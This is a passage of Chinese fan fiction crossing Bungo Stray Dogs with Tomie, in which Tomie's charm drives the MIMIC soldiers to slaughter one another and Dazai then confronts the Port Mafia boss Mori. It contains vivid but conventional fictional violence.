这场战斗远比织田作之助想象中要更加难搞，除去要避开面前[MIMIC]指挥官纪德的攻击，还要利用对方的子弹射杀周围时不时来干扰他行动的其他[MIMIC]士兵。 说实话，此刻能让他坚持下去的, 太宰治会带着组织内其余部下过来支援的信念。 随着“吱呀”一声大门被打开，急促的脚步声也紧跟着出现。织田作之助就判断出来出现的是他苦苦等待的友人太宰治。 可余光一瞄，却发现不知为何太宰虽然赶到了，可身边似乎没有携带任何部下？ 还没开始思考是什么情况，织田作之助就从有限的目光中发现了一道黑色人影出现在太宰的身后。 ……不，并不是没有带任何部下，好像还是带了一个部下的。 织田作之助修改了自己的想法，并在抵御面前纪德攻击的同时思考这道黑色人影究竟是谁。 是太宰新收的那个叫作芥川的新部下吗？不，在他的印象里，太宰不是那种会让自己的部下从对方背后拥抱自己的类型。 很快，一个黑色剪影出现在了他的脑海里。 那是一个与太宰治关系亲密，但他没有见过正脸的人——宫水富江。 织田作之助还想望过去猜测自己的想法对不对，可很快纪德的下一波猛烈攻势让他不得不放弃了这个想法。 “明明是你选择要过来的？为什么到了这个时候还是不专心？”面前身着长袍的白发青年询问着他，暗红色的目光带着浓浓的不满。 织田作之助尝试回答，“你自己心里很清楚才对，我是受到的威胁才不得不来到这里的。” “可既然你来了，那就应该明白我的意思！”面前的白发青年锲而不舍地继续道，“我是邀请你加入我们的战场，而不是让你来三心二意的！还是说……” 白发青年顺着他的目光看向了大门口站着的那道黑色人影，“你在期待着什么，期待你的友人能带着强大的异能力者来解决我？” “……” 织田作之助没有说话，因为对方的话语他无从反驳。 “那看来你要失望了，虽然不知道发生了什么，可显然现实情况没有你想得那么好。”白发青年嘴角勾起了残忍的笑容，“对方只带了一个人过来，我想仅仅只是这样，完全达不到你预期的想法。” 说着，织田作之助通过异能力[天衣无缝]预测到了对方下一步攻击。 注视着自己被射中的未来，织田作之助毫不犹豫地进行了相应的改变，然后开始了与对方的下一轮攻击。 “所以你现在是怎么想的？”面前的白发青年喋喋不休地询问着，“是现在继续和我进行一场生与死的胜负？还是说……和上次一样，等我杀了你收养的那五个孩子之后开始我们之间真正的战斗？” 听到这样的话语，织田作之助的攻击中不自觉地用上了更加凶猛的招数。 可对方看到之后，不仅没有生气，脸上反而露出了畅快的笑容对他开口，“这不是很不错吗？无论是你的动作，还是你的表情。” 终于在这一轮的攻势后，他们双方拉开了距离站在原地。 织田作之助虽然不知道自己现在是什么表情，但他知道面前这个人刚刚所说的话语很令人生气。 “织田作。” 倏地，织田作之助的耳边传来了一道声音。 他认得出来这是太宰治的声线，对方正喊着他的名字。 顺着声音方向，织田作之助望了过去，下一刻映入他眼帘的是站在大门口的两道人影。 一道是他熟悉的、穿着黑色西装、缠绕着绷带的友人太宰治，而站在对方身旁另一道的是…… ——刚刚还从背后抱住太宰治的黑发少年。 对方低垂着头看不清神色，但隐隐能够注意到对方嘴角勾起的弧度。 看着对方身上那熟悉的衣服，织田作之助就知道自己的猜测并没有错。 也就是说，太宰所找到的援手就是他吗？ 刚想到这里，织田作之助就看到了太宰治脸上严肃的神情。 几乎是瞬间，他想起了[MIMIC]出现在他们之前、安吾刚出差回来的那天晚上，对方在Lupin所说的话语。 【“不要与他对视，也不要听他说话。”】 这句话其实当时在他的耳中听起来相当怪异，没有前后因果，没有上下逻辑。 完全是一句突兀的、毫无关联的话语。 他不知道坂口安吾有没有听懂，反正对于当时的织田作之助而言，他只是产生了疑惑，然后将这句话埋藏在了心中。 就像太宰治告知他的一样，记在心里。 可现在，他猛然回想起了这句话。 再结合对方带的会是帮助他解决现在情况的判断，织田作之助突然明白了那句话的含义。 这名黑发少年是位异能力者，太宰治之前所说的那句话语是不被黑发少年异能力攻击的提醒。 对面的白发青年显然并不知道太宰治喊他名字那句话的含义，只是在看见黑发少年的时候，脸上原本的笑容消失不见，转而变为了凝重。 见对方注意力转移，织田作之助立即用手捂住自己的耳朵。 虽然能起到的隔音效果有限，但如果只是阻隔人声还是绰绰有余的。 当然织田作之助没有忘记太宰的前一句话——不要与黑发少年对视，于是在这之后他牢牢盯着面前白发青年的一举一动。 对方依然侧视望着太宰治、……不，更准确地说应该是那名黑发少年所在位置，凭借着优秀的视力，他能清晰地看到对方下撇的嘴角，像是在不满什么。 就在织田作之助思索着黑发少年的异能力有没有发动的时候，他的异能力却率先发动。 画面中，他被子弹射中，神色不解。无法理解发生什么的他下意识看向面前的纪德，发现对方的脸上此刻挂上了僵硬且诡异的笑容。 然后对方举起了手中的枪对准他所在的方向，可随着对方扣动扳机，子弹却擦过他的身体射向身后。 在预知的未来中，他的手因为无力而滑落，于是他听到了身后痛苦的呻吟和一道……陌生却又悦耳的少年笑声。 “哈哈哈哈哈——” 随着他的身体倒地，他趴在地面上侧着头的那只眼刚好看到了黑发少年的身影。 虽然碍于对方低头的角度依旧看不清晰那副面孔，但织田作之助看到了对方不停张合的嘴角。 他听到对方低语着什么： “再多一点再多一点再多一点……” 紧接着对方抬起头，看到对方那张脸的瞬间，织田作之助下意识屏住了呼吸。 黑发少年露出了一张嚣张？又或者说是张扬的笑脸，连带着左眼眼尾的泪痣都异常明显。 对方的目光没有落到他的身上，而是注视着他身后的人群，语气上扬地继续道，“让厮杀来得更多点吧——！” 然后便是更加嘈杂的声音和更加猛烈的枪声，到这里的下一秒画面戛然而止，织田作之助被动回神。 对应着预知的画面，他躲避了从四周出现的子弹，并顺利地躲避到了这个舞厅的巨型大理石柱后，然后躲避黑发少年与太宰治所在的位置探出头观察着面前的场景。 所有[MIMIC]的士兵脸上都浮现出了和预知中纪德差不多的面孔——扭曲、痴迷、僵硬…… 他们举起手中的枪支，朝着对方所在的位置射去。将整个舞厅变成了相互厮杀游戏的巨大舞台，展示着无法被大众所知道的、令人震惊的疯狂画面。 [MIMIC]的士兵是训练有素的军人，因此在战斗这方面，拥有着专业级别的知识和能力。 这也导致这场相互厮杀的游戏延续了很长一段时间，直至夕阳通过大门和窗户照射进舞厅内，橘红的光线和满地的鲜血相互融合，看不出区别，这场游戏唯一的获胜者才终于出现。 ——是纪德。 这个结果对于织田作之助来说，其实没有任何意外。 他持续捂着自己的耳朵，就这样注视着纪德像行尸走肉般带着奇怪的笑容朝着黑发少年所在的位置走去。同时根据对方的嘴型，他想对方应该是在和黑发少年说着什么。 “Tomi……” 就在织田作之助尝试分辨的时候，他的余光注意到了不知何时来到另一边的太宰治。 黑发青年的脸上挂着织田作之助曾目睹过一次的、虚伪的笑容，仔细看去对方的手中握着一直不知道从哪里拿出来的黑色枪支。 同时，对方来到了正朝着黑发少年走去的纪德的身后，伸出手指轻轻触碰着对方长长的衣袍。 看到这里，即便不使用异能力，织田作之助也几乎知道要发生什么。 果不其然，他看到黑发青年对准面前尚未意识到发生什么的白发青年扣动扳机，下一刻枪声和重物倒地的声音相继响起。 “砰。” “咚。” 导致他现在所有的麻烦罪魁祸首倒在地面上。 如此轻易、如此简单……就仿佛他之前所承受的压力、遇到的威胁都是虚假的。 就在织田作之助的目光停留在地面上那具白色青年的尸体时，一道人影出现在他的面前遮掩了他的视线。 他抬起头，一双如同黑潭般死寂的双眸与他对视。 对方开口： “终于快要结束了呢，织田作。” 第49章 如果放在以前宫水富江绝对不敢想象自己在未来某一天会做现在这样的事情, 为了某个人而使用自己的体质，并无视自己之前将近二十年人生所接受的道德与法律。 可是尽管如此，他对自己现在所做的事情甘之如饴。 因为他想, 既然他所接触的目光所及之处都没有这样的道德和法律意识，为什么他还需要按照过去的想法去遵守这些？ 更重要的是, 现在他清楚的明白，自己所接触的太宰先生、……又或者说太宰治, 不再是之前印象中所谓的什么‘出圈角色’、‘番剧的主角’。 他能清晰的意识到，这是一个真实的世界，对方也是一个鲜活的、有感情、能对话的人类。 而且尽管他不知道这个剧情最后的结果是什么样，但是…… 宫水富江听着太宰先生的话语, 放下了揽住对方脖颈的双手，紧接着缓缓走到了对方的身边的位置。 刘海遮掩着眼眸，几乎谁都看不清他的神色, 但是只有他自己知道自己现在是什么情况。 他想要帮助对方拯救对方朋友的性命，就像是对方曾经帮助他解决了松下父子一样。 他想要帮助对方逃离这个被人画写好了的困境, 脱离原著的情节。 他想要…… 思绪不断在脑海中闪过, 但最终化为了一个简单的动作。 他缓缓抬起头，对着面前众多人露出了一个明媚的微笑。 然后, 他听到自己开口： “撒，让我们开始进行互相残杀的游戏吧！” …… 不断喷溅的鲜血、连绵不绝的枪声和此起彼伏的惨叫声, 在少年尖锐的笑声中交错相织。 在这个以舞厅作为舞台的厮杀游戏中, 人命如同草芥般低贱, 被肆意剥夺。太宰治目光所及之处都是尸体，甚至因为[MIMIC]的人数众多。尸体如同木材般被堆积起来高高垒起。 无数穿着如同流浪汉般的存在随意出现在地面上，以至于有些沉浸在自己世界、上头的士兵还会被这些尸体所绊倒摔在地面上，然后被踩踏而死。 看着眼前的一幕, 太宰治莫名想起了一个词——地狱。 虽然他并不知道地狱是不是真的存在，但是他想眼前的场景与地狱相比或许也差不了多少。 不…… 太宰治突然否决。 地狱好歹还有统一的管理机制，可面前的厮杀游戏可完全没有。 也许从这方面来说，面前的场景也许比地狱还要更加符合众人对地狱最初的想象。 “再多一点再多一点再多一点……” “再让我开心一点吧——！” 随着耳边少年的声音响起，太宰治眼前的景象愈发残酷。 所有人都在为了取悦身旁少年而将手中的枪对准曾经的同伴，脑海中完全忘记了自己本来要做的事情。 在这一刻，太宰治终于理解了一件事：魅惑众生，引入地狱。 想到这里，他的脸上不自觉地浮现出了一个人为控制的完美但又虚假的笑容。 他追逐着死亡这么久，现在回过头来才发现，原来死亡的化身从一开始就在他的身边。 随着时间的流逝，舞厅地面上的尸体如同被镰刀收割的稻草层层叠加，地面流淌的鲜血多到几乎形成红色的水泊。 虽然因为刚下过雨温度不算太高，但空气中依然飘荡着久久不散、令人作呕的血腥味，让人下意识生理不适。 偌大的空间中，枪声不再像最初那样连绵不绝，而是稀稀拉拉的仿佛快放到尽头的礼花筒。 直至最后舞台只剩下了最后一个站着的深色人影，太宰治径直地来到对方身后用手指轻轻触碰对方，然后拿出了随地捡来的、尚未使用过的枪支对准了面前这个神情恍惚的白发青年。 “砰。” 随着他扣动扳机，最后一个人影也如同被Checkmate（将军）的棋子倒下。 他来到友人织田作之助所躲避的大理石柱后，看着对方放下原本捂着双耳的手，对着面前红发青年开口： “终于快要结束了呢，织田作。” * [MIMIC]全灭，但并不意味着对于所有人来说事情到这里就画上了句号。 回到少年身边的太宰治当然注意到了少年脸上那张尚未消散的笑容，对方与之前表现的几乎不太一样了。 太宰治很难分辨这究竟是谁的原因，于是他开始思考自己成为了那个打开潘多拉魔盒的人。可意外的，即使联想到这里，他也并没有任何紧张又或者感到抱歉的情绪。 与少年对视，太宰治刚想说点什么，就听到了身后窸窣的声音，意识到朋友还在的太宰治暂时停住了想要与少年说话的想法。 他想，至少不是现在…… 而且，实际上他也有问题想要询问自己的友人织田作之助。 跟在太宰治身后的织田作之助，注意力并未放在少年身上。 又或者说，注视着太宰治与少年亲近的模样，不禁令他回想起了之前某次在Lupin酒馆聊天时，黑发青年在得知他对于两人关系时的反问。 ……对方当时是什么态度来着？ 还没等织田作之助想起来，现实中的黑发青年率先喊住了他的名字。 “织田作。” 织田作之助回神，发现他们在不知不觉已经回到了水泥地面上。 黑发少年正往前走，而太宰治则是稍退一步来到了他的身边。望着现在行走的方向判断，这是通往那栋蓝色二楼楼房的路。 “嗯？”织田作之助看向黑发青年，只见对方不久前在洋房内的那种诡异笑容已经消失，现在只剩下了淡淡的神情。 “织田作有想过之后准备怎么办吗？” 黑发青年询问着，声音里带着织田作之助看不透的情绪。 见状，织田作之助望向远处那栋五个孤儿所在的方位，沉思了片刻后，回了一个不相干的问题。 “太宰，这次港口Mafia与[MIMIC]之间是不是还有什么我没有看到的东西存在？” 虽然被两位友人评价过有点天然，但在针对某个事件上他总是出奇的敏锐。织田作之助偶尔也会想，也许是曾经作为暗杀者带来的经验。 之前在洋房内被纪德缠斗时没有办法好好思考，可现在回过头查看，发现其实很多地方都不太对劲。 比如，港口Mafia与[MIMIC]之间的战斗，太宰治带的救援为什么会是不属于任何一方的黑发少年？甚至连都不是对方新收的部下那个叫作芥川的年轻人…… 又比如，为什么太宰治所挑选的藏匿点会被发现，他记得对方曾跟他说过，他还选了别的位置作为障眼法。 他虽然比不上太宰治和坂口安吾，但也并非真的是什么都不动的蠢货。 黑发青年面对他的话语，只是微微低垂了一下眼眸，“……港口Mafia与[MIMIC]之间牵扯得太多，甚至还涉及到了异能特务科。” 异能特务科…… 织田作之助只能想到坂口安吾，但如果连异能特务科都出动了，那看来并非只是对方的卧底身份暴露那么简单。 果不其然下一刻，他听到黑发青年继续道，“简单来说，就是首领选择利用你的牺牲作为最优解来解决[MIMIC]，然后从异能特务科那里获得异能许可证。” “……” 回想起初次与首领见面的场景，织田作之助不得不承认太宰治所说的这句话打破了他对首领的第一印象，可心中又觉得这其实才符合那个男人作为港口Mafia首领身份的举动。 大概是看他一直沉默不语，太宰治再次重复了起了最初的那个问题。 “所以，织田作打算之后准备怎么办？”黑发青年继续道，“还是说就这样当作什么都没有发生一样回到港口Mafia？继续过着和之前一样底层人员的生活？” “不。” 织田作之助否认了太宰治给出的可能性，他不是那种明知道面前是火坑还会继续往里面走的家伙。 这种事情能发生一次，那么以这位首领的手段和心性或许还可以发生第二次。 “……所以我想我大概不会回到港口Mafia了。”这么想着，织田作之助也将自己的想法说给了太宰治听。 黑发青年听到他的话语后，抿了抿嘴似乎想要说些什么，可是再看向不远处偷偷做着小动作往这里瞄的少年后，又没有继续说话。 织田作之助注意到了对方的小动作，但并未询问，而是继续道，“不过虽然是这么想的，但是离开港口Mafia与叛逃无异。而且就算能躲避港口Mafia的追捕，我还有那五个孩子要养，也不知道下一份工作该继续做什么……” 也许他是时候该想想要不要回去做邮差，不过他所说的邮差并不是指平常人做的那种。 毕竟他过去的履历不支持他像正常人一样做正常的邮差，所以他这里的邮差指的是那种连危险物品都愿意送的邮差。 “既然织田作这样想，那剩下的事情就交给我来处理吧。” 织田作之助回神，发现太宰治的语气似乎轻松了不少。 他刚张嘴想要询问对方怎么做，就注意到对方停下了脚步。 织田作之助抬起头，发现他们已经在不知不觉中走到了目的地——两层的蓝色大楼。 “织田作！” 略显稚嫩的叫声和撞到身上的力度，让他低下头，发现是自己收养的那五个孩子正紧紧地把他抱住并围了起来。 织田作之助伸出右手揽住了最大的那个孩子，又用手抚摸着最小那个女孩的头顶。 …… 望着织田作之助与那五个孩子相处的一幕，太宰治不由得多看了几眼。 可很快，他还是移开了双眼望向了房屋内还停留在这里的属于[武装侦探社]的两人。 他漫步走到坐在废弃办工作前座椅上的侦探服青年，停住然后开口，“我想委托[武装侦探社]做一件事。” 江户川乱步听到这个声音不用看就知道是谁，他直接摆了摆手，用慵懒的语气回答，“不接。我们[武装侦探社]才不接港口Mafia成员的委托呢。” 福泽谕吉在旁边看着没有阻拦，毕竟乱步所说的话语有一定的道理。 他们[武装侦探社]和港口Mafia的成员还没有好到这个地步上。 “这样吗……那好吧。” 不知为何黑发青年并没有强求，而是在听完后直接离开，这一行为引起了江户川乱步的好奇。 他坐起身看向黑发青年离开的方向，然后整个人露出了难以置信的神情。 福泽谕吉见到这一幕还有点好奇，于是也顺着对方的目光看去，发现黑发青年正与少年凑得极近，似乎在小声说着什么。 几分钟之后，只见黑发少年点了点头，然后替换黑发青年来到了江户川乱步的面前。 对方张了张嘴刚想讲些什么，就被侦探服青年打断。 江户川乱步对着太宰治大喊，“你实在是太卑鄙了！知道我不会同意你的委托，所以就拜托富江来帮你委托是吧！” 宫水富江没有想到自己的意图，又或者说太宰先生的意图被这么快看破，一时之间不知所措的看向身后的太宰先生。 然而对方像是无事发生，淡定的来到他的身边，动作自然的抚摸上他的肩膀，然后对着侦探服青年发出了甜腻的话语。 “你这话说的……其实我想委托的内容和港口Mafia无关啦。既然你这么在意我是港口Mafia的成员，那么我就只能拜托富江了。” “而且……” 宫水富江注视到了太宰先生说出这句话后，江户川乱步脸上浮现出的被恶心到的神情。 于是下意识抬起头望向太宰先生，结果刚好与对方的视线相撞。 微怔之中，他看到太宰先生对着他露出了微笑，然后轻轻道，“富江是因为能够理解我，所以才会同意帮我的，对吧？” 不知道为什么，宫水富江感觉自己现在好像有点晕晕乎乎，他下意识顺着对方的话语点点头。 他当然会帮助太宰先生…… 然而这一幕却看得江户川乱步不由得火大，虽然他理智上知道自己不应该生气。 最终，他选择表现自己的怒意：狠狠的哼一声，然后别过头去。 福泽谕吉听到这样的话语和因为愤怒而撇头的乱步，于是主动询问起面前太宰治对方想要进行的委托。 然后，他听到黑发青年回答，“织田作很显然已经没有办法继续在港口Mafia待下去了，但就这样离开与叛逃无异。如果只有织田作一个人的话还好说，但是他收养的那五个孩子必定会跟随在织田作的身边受到港口Mafia追杀的波及。所以……” 黑发青年双眸与他对视，神色严肃，“——我希望你们能帮忙收留织田作和那五个孩子躲避港口Mafia追杀一段时间。” 福泽谕吉见状看向门口正在安慰那五个孩子的红发青年，在沉默了半晌后，他双手拢在衣袖中同意了黑发青年的委托。 “我可以同意你的委托，但是即使是帮助他们躲藏，那也是有期限的。毕竟总不能这样让他们躲藏一辈子吧？” “不愧是建立起[武装侦探社]的社长，其胸怀和某个人相比完全就不是一个等级的。” 太宰治语气上扬，满脸都是敬佩的神色。 对方突然这样夸奖他令福泽谕吉有些茫然，可听到身侧侦探服青年的哼声后，他明白了对方突然会这么说的原因——很显然对方是在报复刚刚乱步拒绝对方委托的行为。 意识到这点后，福泽谕吉的心头感受到了一股熟悉的疲惫感，就好像回到了刚开始带江户川乱步的日子。 不，或许比那个时候还要心累。 毕竟当时只需要带江户川乱步一个，现在他感觉自己仿佛正在带两个。 不过好在对方进退有度，很快将话题转移到了正轨上。 “不过您说得对，我当然没有让织田作他们躲藏一辈子的想法。关于这一点，”说到这里，黑发青年露出了耐人寻味的笑容，“我已经有了想法。” 在福泽谕吉的目光中，黑发青年双眸如深不见底的井水般黑暗，嘴角勾起的弧度也逐渐增大。 还没来得及被对方突然的变化感到震惊，他就听到对方有某种仿佛黑泥般黏稠的语气继续道，“对于织田作来说，一切都结束了确实没错。但对于我来说……” “——一切才刚刚开始。” 第50章 太宰治能够看到面前这位[武装侦探社]的社长在听到他的话语后眉头轻轻蹙起, 但他并未对自己的话语进行更加清晰地解释。 而是继续道，“就是这样，所以等一下麻烦你们帮我告诉织田作了。” 这位社长先生顺着他的话语看向了红发青年的位置, 最后还是点头同意了他的话语。随后来到了织田作之助的面前，与对方进行了交流。 看见红发青年从那五个孩子身上抬起头, 又因为和服男人的话语往他这里看了看点头的场景，太宰治的双眸微微黯淡。 但很快, 他将注意力拉回到身侧的少年身上。 他松开了之前揽住对方肩膀的手，在对方的目光中低头开口。 “说起来富江，我好像还没有感谢你吧？” 宫水富江被对方的举动弄了个措手不及，他刚想摇头表示并不需要, 但黑发青年的话语却比他的动作更快。 在宫水富江的目光中，太宰先生露出了个堪称笑容，紧接着声音如同被阳光晒过的羽毛, 轻盈又带着暖意地拂过他的耳边。 “谢谢你帮了我，富江。” 宫水富江下意识抬起头与太宰先生那只唯一露出来的眼眸对视上, 然后熟悉的晕晕乎乎再次席卷他的大脑。 在这为数不多的理智, 他感觉自己好像明白太宰先生这次的微笑明明和以往见过的嘴角弧度没有什么区别，却更加温柔的原因。 因为对方的眼神似乎带上了他以前从未见过的情绪, 就连态度也变得更加亲近。 就好像平日态度平淡会钓着你的猫，在某一天亲昵地蹭着你, 让你不知所措的同时还被这种突如其来的幸福迷昏了大脑。 “虽然很想和你好好聊聊, 但现在很明显不是最好的时机。所以……” 随着太宰先生后面的话语, 宫水富江感觉自己为数不多的理智逐渐清空。 等他清醒发现左右环顾后，他发现太宰先生早就不知去向。 “……别看了，那个家伙已经走了有段时间了。” 宫水富江顺着声音看向身侧，这才发现不仅仅太宰先生不见, 就连乱步先生也在不知道什么时候出现在了他的身边，并且还露出了愤愤不平的表情。 只不过这个愤愤不平并不是针对他的，因为宫水富江清楚地听到了乱步先生在那里低声斥骂了太宰先生。 什么不要脸，又或者是什么无耻之徒，更过分的还有什么居然使用美男计的话语。 话说，太宰先生什么时候使用了美男计？ 宫水富江有些茫然，愈发感受到了自己和名侦探之间的差距。 就在敬佩的同时，宫水富江想起了一件事情。 他询问着面前的名侦探，“乱步先生有听到太宰先生后面和我说了什么吗？” 侦探服青年听到他的话语后立即鼓起了脸，但还是老老实实地回答了他的问题，“虽然很想说不知道，但是……大意就是等问题都解决了再和你好好聊聊吧。” 听到这句话语，宫水富江回想起来太宰先生之前好像是说过对他而言一切才刚开始的话语。 “不过看样子，很快也要变天了呢。” 就在宫水富江走神的时候，他倏地听到了耳边来自侦探服青年的话语。 他顺着对方的话语抬起头看了看天空，虽然天色渐晚，但依然能够看到夜空中的星空璀璨闪烁，怎么也不像对方口中所说的那样要变天的样子。 好奇的宫水富江侧头看去，发现乱步先生所看的并不是他以为的天空，而是不远处的一个方向。 于是他也看向那个方向，然后发现那是港口Mafia五座黑色大厦所在的位置。 * 太宰治熟练地躲避在四周巡查的港口Mafia成员，然后漫不经心地来到了港口Mafia总部大楼所在的背面。在做了什么后，很快一个隐匿性极强的电梯出现在了他的面前。 他手速极快地输入了密码，随后电梯门在他面前打开。他径直走了上去，按下了内部唯一一个按钮。随着电梯门关上，他的身影也逐渐消失。 如同小说一般，每个身份重要的人物家中都会有一道暗门一样，港口Mafia自然也不例外。 这个电梯便是通往港口Mafia最高一层，即首领办公室内休息室所在的位置。 太宰治注视着面前电梯门上的镜面，上面清晰地显现着他现在的神情。 黑发青年面无表情，唯一没有被绷带缠绕住的鸢眸黑暗得与深潭无异，就连整个人都散发着请勿靠近的冰冷氛围。 其实仔细靠近，还能闻到他身上淡淡的血腥味，和仿佛洗不掉的浓郁幽香。 “咔嚓。” 轻微的声音表明这道电梯来到了最高一层并打开。 太宰治走了下去，看着眼前熟悉的首领办公室内休息室的格局，他的脑海不自觉地回想到了几年前的事情。 当时森鸥外还不是首领，而是先代首领的医生。而他也不是什么港口Mafia的成员，而是森鸥外手下的、众人眼中学医的弟子。 就在这个熟悉的房间内，他站在角落目睹了自己的老师亲手杀掉先代首领，继承港口Mafia的场景。 昏暗的灯光，密闭的空间，手持手术刀的森鸥外，溅在墙上的血迹和还散发着温热的尸体…… 当初的一切都历历在目，久久无法忘怀，以至于想到今天要来做的事情，再次回忆起了这件事。 太宰治的目光移动，随后在正对着床的那面墙上看到了熟悉的东西——名为《富江》的画作。 这幅画作和当时陪着森鸥外还有中原中也在拍卖会上看到的几乎一模一样，凭借着太宰治对森鸥外的了解，再加上后面听闻熊原先生购买的画作消失的事情。几乎是瞬间，太宰治就知道是森鸥外将这幅画从熊原先生那里偷回来的。 意识到这点，他的嘴角勾起嘲讽的弧度。 紧接着，他打开通往办公室的门。 不出预料的，森鸥外暂时并未出现在这里。 太宰治的目光简单掠过熟悉的场景，然后走到办公桌后的座椅旁坐下，并转动座椅朝向了落地窗。 虽然在尚未通电的情况下一片漆黑，但是他并未在意，而饶有兴趣地注视着，就仿佛已经透过这面黑色墙壁看到了外面的夜景。 …… 刚和新合作商谈完交易的森鸥外携带着人形异能体爱丽丝行走在港口Mafia总部大楼顶层的走廊上，看着一直蹦蹦跳跳的金发少女，他下意识对其开口。 “爱丽丝酱~小心一点，千万不要摔倒哦！不然我的心，可是会超痛的！” “太啰唆了，林太郎！谁会突然原地摔啦！” 纵使被这么斥责，森鸥外的脸上还是浮现出了溺爱的神情，没有任何生气的神色。 门口的两个守卫也熟悉首领的风格，见到这一幕没有任何态度，而是尽职地为其打开了办公室的大门。 金发少女率先走了进去，紧接着才是慢一步的森鸥外。 可是当办公室的大门关上后，注意力才从金发少女身上移开的森鸥外立马发现了屋内与自己离开前相比发生的变化。 他立即停下脚步，原本的神情瞬间消失，变得严肃而认真，那双紫红色的眼眸也如同手中不知道从哪里拿出来的手术刀那般锋利。 仔细看去会发现，在他前方金发碧眼的少女不仅神情消失，浑身还散发出了金色的光辉，手中还抱着一个巨大的针筒。 “……是谁？” 森鸥外注视着背对着他、迟迟不肯转过来的座椅发出了询问。 “……” 然而整个空间除了他自己外安静无声，对面似乎并没有想要回答的意思。 发现这一点后，森鸥外身前的金发少女用脚轻轻点了点地面便漂浮了起来，在悄无声息地举起手中巨大针筒的同时用迅雷不及掩耳的速度朝着座椅上的人发出攻击。 森鸥外紧紧凝视着面前的一幕，可目光中坐在座椅上的人依然没有发出任何动静。 这不禁令他差点怀疑自己是不是弄错了离开前的记忆，可下一秒所发生的场景，令他下意识睁大了双眸。 “太、……” 他的人形异能体在接触到对方的那一瞬间，身体以极快的速度崩溃。 同时发现自己情况的人形异能体在转身后，用他所设置的性格表情惊恐地看向他想要说些什么。 然而不等她，又或者它说完，人形异能体便已经消失在空中。森鸥外能够感受到，他的爱丽丝酱已经变回异能最初的模样回到了他的体内。 不过此时的他也不需要释放出人形异能体告知他答案了，因为在看见这个作用的瞬间，他就明白了坐在那首领座椅上的人是谁。 “太宰君。” 森鸥外收回御敌的姿势，喊出面前背对着他坐在座椅上的人的名字。 不过就算如此，他手上的手术刀也并未收起来。 对方宛如耳朵并不灵敏的老人，直至现在才听到他的话语，慢悠悠地将座椅转动过来。 而出现在他面前的，正是他话语中那个本该彻底消失在港口Mafia范围内的太宰治。 只不过不同于今天下午离开时的难以置信和绝望，此时出现在他面前的黑发青年正面带微笑地注视着他。 那个笑容完美到没有一丝瑕疵，可眼眸却没有任何笑意。 对方现在的这个表情，比他初始状态下的爱丽丝还要更加容易引发恐怖谷效应，令森鸥外不由得汗毛竖起……魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 港口Mafia总部大楼的首领办公室内, 梳着背头的中年男人与坐在他面前、本该是他位置的黑发青年进行对峙。 “首领……不，现在还是让我称呼你为森先生吧。”缠绕着绷带的黑发青年终于开口，然而却不再像之前那样, 连表面的尊敬都没有了。 听着对方的话语，森鸥外就明白对方的来者不善。 但就算如此, 他也依然不甘示弱地在脸上浮现出与黑发青年相似的虚伪笑容。 森鸥外紫红色的眼眸微微闪烁，他不动声色地开口试探面前黑发青年的态度, “虽说我使用的最优解不符合你的利益，但是说到底你现在还是我的干部……不是吗？不用首领，而是用森先生来称呼我，多少有点不合礼仪了吧？” 可黑发青年并未受到他话语的影响, 而是双手一撑，利落地从座位上站起身。 森鸥外就这样看着对方走到他面前，但手却不停地捏紧手术刀。可即便这样, 对方依然没有停下脚步，而是直至走到与他的距离近到几乎可以数清到睫毛的程度才停下脚步。 紧接着, 用这种极近的距离对他冷淡开口。 “我想还是算了吧, 毕竟森先生不是已经做好了我会叛逃港口Mafia的准备吗？” “……” 森鸥外保持沉默。 他对于太宰治直截了当地揭开遮羞布这种行为没有任何意外，只是他依然不明确对方事到如今明知道还要过来询问向他确认的目的。 总不可能真的像表面上那样, 只是来质问他是不是真的想要赶对方走吧？他可不信这样的太宰君会是他印象里的那个太宰治。 只是如果对方真的有这样的打算…… 想到这里，森鸥外保持微笑, “可是你现在不是已经回来了吗？既然你不愿意离开, 那么你依然是港口Mafia的干部。” 森鸥外并未否认自己的意图, 并继续道，“实际上就算你真的打算离开，我也不打算将你空出来的干部之位交给别人。” “森先生。” 对方突然再次重复这个称呼，森鸥外的心中浮现出了某种不妙的预感。 不如说这种不妙的预感在发现有人闯入办公室无声坐在首领的座椅上时, 就已经出现了，只是现在感觉越来越不妙了。 大概是为了印证他的想法，下一刻，黑发青年开口： “——心怀鬼胎之人，看谁都觉得居心叵测吧。”① 听到这样一句话语，森鸥外的眼眸瞬间锋利起来，可黑发青年的话语还在继续。 对方道，“森先生还记得自己是如何成为港口Mafia首领的吗？要不要我帮你回忆一下？” 森鸥外这下扯了扯嘴角，“我当然记得，毕竟你可是我的见证者，不是吗？” “那天夜晚，先代首领躺在床上不停对着我重复杀了那些对港口Mafia不敬之人。见到对方失去理智，潜伏许久的我让你成为见证人杀了先代首领，这才继承了港口Mafia……” “但是事到如今还提这个有什么意思？难不成太宰君是想将这件事情暴露给先代首领派系的人吗？如果是两三年前的话，我或许还会有所忌惮。可现在港口Mafia内已经没有先代首领的人了……你应该知道这是什么意思吧？” 说到这里，森鸥外停下没有继续说话，而是目不转睛地盯着太宰治。 实际上，刚开始成为首领那段时间组织内怀疑他上位手段不正常的有不少。 可是几年过去，就算还有人没有忘记这件事情，可已经活下来的他们当然知道为了维持现在的港口Mafia局势该选择谁。 “我当然知道。只是作为最初心怀鬼胎之人，森先生你很害怕。”太宰治并未在意森鸥外的话语，而是自顾自地说着。 他那只鸢眸一眨不眨地与那双紫红色眼眸对视，然后压低声线，拉长语调，“……害怕自己有一天会成为下一个先代首领——特别是在发现我的势力在港口Mafia内越来越大后。” “……” 森鸥外没有说话。 他想，太宰君不愧是他的弟子，终于在现在看透了他的想法。 说实话，直至现在他都觉得可惜。太宰君真的是最适合在他之后继承港口Mafia的那个人，只是…… ——对方出现的时机实在是太差了。 他还仍在壮年，尚未老去。但新的继承者已经成长，甚至看起来比他还要有天赋。 这怎么不令人害怕？特别是在意识到自己是怎么继承现在首领之位这件事情后。 思索到了这里，森鸥外反而勾了勾唇角，“所以太宰君现在想和我聊这个是想说什么？还是说……” “——你现在也想和当初的我一样吗？” 如果真是这样，某种程度上不得不说一句：他们不愧是老师与弟子的关系。 可是，对方应该也明白一件事情才对。 他能成为港口Mafia的首领，不仅仅是因为成功杀掉了先代首领。 而是因为他提现收揽了站队人员，并让对方成为了他的见证人，这才[名正言顺]地继承了港口Mafia。 从这个角度上看，现在的太宰治无论如何都做不到像他这样[名正言顺]。 毕竟在[MIMIC]发生前，对方从未想过拉拢人才继承首领之位。即便现在能杀了他篡位，那也无法获得大多数成员的人心。 